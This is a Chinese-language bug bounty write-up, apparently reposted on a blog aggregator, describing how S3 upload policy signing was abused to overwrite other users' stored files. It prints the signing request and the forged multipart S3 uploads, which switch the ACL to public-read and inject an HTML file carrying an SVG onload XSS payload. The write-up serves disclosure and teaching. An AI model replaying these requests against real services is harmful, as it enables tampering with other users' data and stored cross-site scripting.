当前位置: 首页 > news >正文

滥用ACL权限覆盖其他用户S3存储桶中的文件/视频

滥用ACL权限覆盖其他用户上传的文件/视频

大家好,今天我要写一篇关于在HackerOne某个项目中最新发现的博客。当时我正在寻找应用程序中的IDOR漏洞,于是开始对应用程序的每个请求进行模糊测试,我发现了以下请求:

POST /api-2.0/s3-upload-signatures HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/home/xxx/test/upload
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Authorization: Bearer :
X-Example-Authorization: Bearer 
Content-Length: 311
Connection: close
Cookie: {}{"expiration":"2018-12-18T11:58:24.376Z","conditions":[{"acl":"private"},{"bucket":"example-web-upload-bucket"},{"Content-Type":""},{"success_action_status":"200"},{"key":"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg"},{"x-amz-meta-qqfilename":"1.jpg"},["content-length-range","1","9007199254740992"]]}

基本上,这个请求用于设置上传文件到S3存储桶的策略,在这个请求之后,我得到了下面提到的照片/视频上传请求:

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"AKIAIOTLFW3HMG563JEA
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"text/html
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"200
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"public-read
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"1.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"xxxxxxxxxxxxx{this is policy} 
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------1268156844136880633597812894--

这个请求使用了第一个请求中生成的文件上传策略。我尝试查找应用程序当前使用的S3存储桶中存在的其他文件,一旦我知道了同一存储桶中的一些照片/视频名称,我就尝试创建一个自定义策略来上传不受限制的文件到存储桶,这将覆盖现有文件,而且ACL权限是私有的,我想用public-read替换它,这样应用程序中的每个用户都会受到此攻击的影响。

我尝试通过更改请求中的以下值来创建自定义策略:

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"AKIAIOTLFW3HMG563JEA
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"200
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"private
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"1.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"xxxxxxxxxxxxx{this is policy}
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------1268156844136880633597812894--

如截图所示,它创建了自定义策略来上传HTML文件,这将覆盖服务器上的现有文件。

我使用策略进行了文件上传请求,请求如下所示:

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"AKIAIOTLFW3HMG563JEA
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"text/html
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"200
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"public-read
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"1.html
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"xxxxxxxxxxxxx{this is policy}
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.html"
Content-Type: text/html<svg/onload=prompt`1`;>
-----------------------1268156844136880633597812894--

现在,这个请求通过覆盖现有文件在存储桶上上传了不受限制的文件,并且通过给文件public-read权限滥用了ACL权限。

就这样:D 感谢大家的阅读,祝大家有美好的一天。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.hskmm.com/?act=detail&tid=28114

相关文章:

  • 2025 年最新三维扫描仪厂家权威排行榜:聚焦高精度与多场景适配,为企业与个人用户精选优质品牌推荐高精度/专业/手持激光/工业/便携式三维扫描仪厂家推荐
  • 后端基础-输入/输出件
  • 2025 年净化工程服务商最新权威推荐排行榜:医院净化工程 / 制药厂 / 化工厂 / 实验室 / 无尘车间优选净化工程设计安装施工公司
  • 2025 年最新推荐!国内优质充电桩厂家排行榜,涵盖多场景适配产品,助用户精准选靠谱品牌智能/新能源/电动车/重卡/电动车直流充电桩厂家推荐
  • 实用指南:【图像算法 - 28】基于YOLO与PyQt5的多路智能目标检测系统设计与实现
  • KingView 组态王 6.5下载地址与安装教程
  • 常用接口对比
  • 工具网站网址
  • linux执行脚本命令报错$\r:未找到命令的解决方法
  • 2025 电缆回收推荐榜:广州龙耀 5 星领跑,这些企业适配绿色循环需求
  • 基于最小二乘法的离散数据曲面拟合MATLAB实现方法
  • 20251010——读后感1
  • MOE模型
  • 2025航空插头厂家最新推荐榜:M8 航空插头, m12航空插头, 航空插头公母对接, 航空插头5芯, 航空插头三芯, 航空插头4芯, 航空插头12芯等类型全覆盖,专业定制与可靠品质
  • go使用root用户进行调试
  • 如何反制免费项目管理软件的套路
  • 智能技术与先进制造国际会议(ITAM 2025)
  • 2025智慧工地工程协同项目交付管理软件系统平台公司推荐榜:项目全周期的智能中枢,助力建筑行业数字化转型
  • 1、在pyhcarm中安装包和指定镜像源
  • iOS 26 系统流畅度深度剖析,Liquid Glass 视效与界面滑动的实际测评 - 指南
  • 重庆初阳科技车辆计数厂家:多维度赋能城市建设与工程精细化管理
  • 使用testcenter打出动态流量
  • coze手册
  • css动画已经执行过一次如何再次执行?
  • 缓存监控--来源于网络
  • 20232319 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • 2025 年兽药厂家最新推荐榜:级企业技术专利与服务能力全景解析,养殖户选品权威指南
  • 2025 最新隔音板源头厂家口碑推荐榜:阻尼 / 聚酯纤维等全品类适配,资深企业与新锐品牌精选聚酯纤维/墙面/降噪/玻镁/顶部隔音板厂家推荐
  • Google play 内部测试流程
  • 软工第三次作业